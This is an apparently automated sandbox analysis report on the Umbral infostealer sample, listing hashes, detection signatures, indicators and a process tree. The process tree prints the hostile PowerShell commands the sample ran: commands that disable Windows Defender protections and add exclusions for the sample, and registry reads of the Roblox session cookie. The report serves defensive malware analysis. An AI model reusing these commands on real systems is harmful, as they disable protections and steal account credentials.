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Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
05/01/2025, 13:57
Behavioral task
behavioral1
Sample
Umbral.exe
Resource
win7-20240708-en
General
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Target
Umbral.exe
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Size
229KB
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MD5
30ccfee6c8e2ebc782110e8aa1a4c8ba
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SHA1
392871b1e3628da65161b2dfd40da407939071ae
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SHA256
e22e92f946d1914fe0557fdbd725c8199651f571e9b160ad2f59571a308147b0
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SHA512
8cec6d2f9b5f60006adefb820225c56add9da2b50f2f3de58481ebbcbed9a859b30a4e9dcba57112f142fc63e24652ed962146c564635c88af12d0a998c390bd
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SSDEEP
6144:9loZMLrIkd8g+EtXHkv/iD4CkUeRa43TwxJc6rrSHfb8e1m4Ki:foZ0L+EP8CheRa43TwxJc6rrSbp
Malware Config
Signatures
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Detect Umbral payload 1 IoCs
resource yara_rule behavioral2/memory/4660-1-0x000001BE48FD0000-0x000001BE49010000-memory.dmp family_umbral -
Umbral family
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Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1388 powershell.exe 3256 powershell.exe 712 powershell.exe 4956 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts Umbral.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 20 discord.com 21 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 8 ip-api.com -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4420 wmic.exe -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 4660 Umbral.exe 1388 powershell.exe 1388 powershell.exe 3256 powershell.exe 3256 powershell.exe 712 powershell.exe 712 powershell.exe 4856 powershell.exe 4856 powershell.exe 4956 powershell.exe 4956 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4660 Umbral.exe Token: SeIncreaseQuotaPrivilege 1284 wmic.exe Token: SeSecurityPrivilege 1284 wmic.exe Token: SeTakeOwnershipPrivilege 1284 wmic.exe Token: SeLoadDriverPrivilege 1284 wmic.exe Token: SeSystemProfilePrivilege 1284 wmic.exe Token: SeSystemtimePrivilege 1284 wmic.exe Token: SeProfSingleProcessPrivilege 1284 wmic.exe Token: SeIncBasePriorityPrivilege 1284 wmic.exe Token: SeCreatePagefilePrivilege 1284 wmic.exe Token: SeBackupPrivilege 1284 wmic.exe Token: SeRestorePrivilege 1284 wmic.exe Token: SeShutdownPrivilege 1284 wmic.exe Token: SeDebugPrivilege 1284 wmic.exe Token: SeSystemEnvironmentPrivilege 1284 wmic.exe Token: SeRemoteShutdownPrivilege 1284 wmic.exe Token: SeUndockPrivilege 1284 wmic.exe Token: SeManageVolumePrivilege 1284 wmic.exe Token: 33 1284 wmic.exe Token: 34 1284 wmic.exe Token: 35 1284 wmic.exe Token: 36 1284 wmic.exe Token: SeIncreaseQuotaPrivilege 1284 wmic.exe Token: SeSecurityPrivilege 1284 wmic.exe Token: SeTakeOwnershipPrivilege 1284 wmic.exe Token: SeLoadDriverPrivilege 1284 wmic.exe Token: SeSystemProfilePrivilege 1284 wmic.exe Token: SeSystemtimePrivilege 1284 wmic.exe Token: SeProfSingleProcessPrivilege 1284 wmic.exe Token: SeIncBasePriorityPrivilege 1284 wmic.exe Token: SeCreatePagefilePrivilege 1284 wmic.exe Token: SeBackupPrivilege 1284 wmic.exe Token: SeRestorePrivilege 1284 wmic.exe Token: SeShutdownPrivilege 1284 wmic.exe Token: SeDebugPrivilege 1284 wmic.exe Token: SeSystemEnvironmentPrivilege 1284 wmic.exe Token: SeRemoteShutdownPrivilege 1284 wmic.exe Token: SeUndockPrivilege 1284 wmic.exe Token: SeManageVolumePrivilege 1284 wmic.exe Token: 33 1284 wmic.exe Token: 34 1284 wmic.exe Token: 35 1284 wmic.exe Token: 36 1284 wmic.exe Token: SeDebugPrivilege 1388 powershell.exe Token: SeDebugPrivilege 3256 powershell.exe Token: SeDebugPrivilege 712 powershell.exe Token: SeDebugPrivilege 4856 powershell.exe Token: SeIncreaseQuotaPrivilege 3068 wmic.exe Token: SeSecurityPrivilege 3068 wmic.exe Token: SeTakeOwnershipPrivilege 3068 wmic.exe Token: SeLoadDriverPrivilege 3068 wmic.exe Token: SeSystemProfilePrivilege 3068 wmic.exe Token: SeSystemtimePrivilege 3068 wmic.exe Token: SeProfSingleProcessPrivilege 3068 wmic.exe Token: SeIncBasePriorityPrivilege 3068 wmic.exe Token: SeCreatePagefilePrivilege 3068 wmic.exe Token: SeBackupPrivilege 3068 wmic.exe Token: SeRestorePrivilege 3068 wmic.exe Token: SeShutdownPrivilege 3068 wmic.exe Token: SeDebugPrivilege 3068 wmic.exe Token: SeSystemEnvironmentPrivilege 3068 wmic.exe Token: SeRemoteShutdownPrivilege 3068 wmic.exe Token: SeUndockPrivilege 3068 wmic.exe Token: SeManageVolumePrivilege 3068 wmic.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 4660 wrote to memory of 1284 4660 Umbral.exe 83 PID 4660 wrote to memory of 1284 4660 Umbral.exe 83 PID 4660 wrote to memory of 1388 4660 Umbral.exe 86 PID 4660 wrote to memory of 1388 4660 Umbral.exe 86 PID 4660 wrote to memory of 3256 4660 Umbral.exe 88 PID 4660 wrote to memory of 3256 4660 Umbral.exe 88 PID 4660 wrote to memory of 712 4660 Umbral.exe 90 PID 4660 wrote to memory of 712 4660 Umbral.exe 90 PID 4660 wrote to memory of 4856 4660 Umbral.exe 92 PID 4660 wrote to memory of 4856 4660 Umbral.exe 92 PID 4660 wrote to memory of 3068 4660 Umbral.exe 95 PID 4660 wrote to memory of 3068 4660 Umbral.exe 95 PID 4660 wrote to memory of 2016 4660 Umbral.exe 97 PID 4660 wrote to memory of 2016 4660 Umbral.exe 97 PID 4660 wrote to memory of 1620 4660 Umbral.exe 99 PID 4660 wrote to memory of 1620 4660 Umbral.exe 99 PID 4660 wrote to memory of 4956 4660 Umbral.exe 101 PID 4660 wrote to memory of 4956 4660 Umbral.exe 101 PID 4660 wrote to memory of 4420 4660 Umbral.exe 103 PID 4660 wrote to memory of 4420 4660 Umbral.exe 103
Processes
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C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4660 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1284
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1388
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3256
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:712
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4856
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3068
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:2016
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:1620
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4956
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:4420
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
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Filesize
948B
MD59de528cab23a687528d40e7d4863427e
SHA127fb00ac7872fad0c1dba1c1071c946c4be60821
SHA25684143fc034cadb25a535116a01da7243968a3e9c9b7bc5cde577f7b84d9c2365
SHA5122fb29b6915338189833c665abd8128899178b448b106bba6859ec2abea176c06aa469d911f09f5fc8b5e36755471a1a970206ef8e12deaeeaa164fe9df4d3f1c
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Filesize
1KB
MD5276798eeb29a49dc6e199768bc9c2e71
SHA15fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA5120d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2
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Filesize
1KB
MD5ec79fae4e7c09310ebf4f2d85a33a638
SHA1f2bdd995b12e65e7ed437d228f22223b59e76efb
SHA256e9c4723a5fe34e081c3d2f548a1d472394cc7aa58056fcf44ca542061381243a
SHA512af9dda12f6bb388d826fe03a4a8beed9bda23a978aa55a2af6a43271660ee896a7ee3bcf2c4d2f1e6180902791d8c23560f1c2ec097a501d8c6f4f6c49075625
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82